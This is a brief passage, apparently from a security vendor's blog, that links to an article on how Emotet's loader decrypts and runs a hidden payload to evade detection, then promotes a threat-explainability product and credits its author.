Read more about the <a href="https://www.deepinstinct.com/2020/10/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2/" target="_blank" rel="noopener noreferrer">hidden payload in the Emotet loader</a> that is decrypted and then executed to successfully avoid being detected.

DIANNA, the DSX Companion, provides real-time explainability of the threats that matter.

Ron Ben Yizhak

From Ron Ben Yizhak.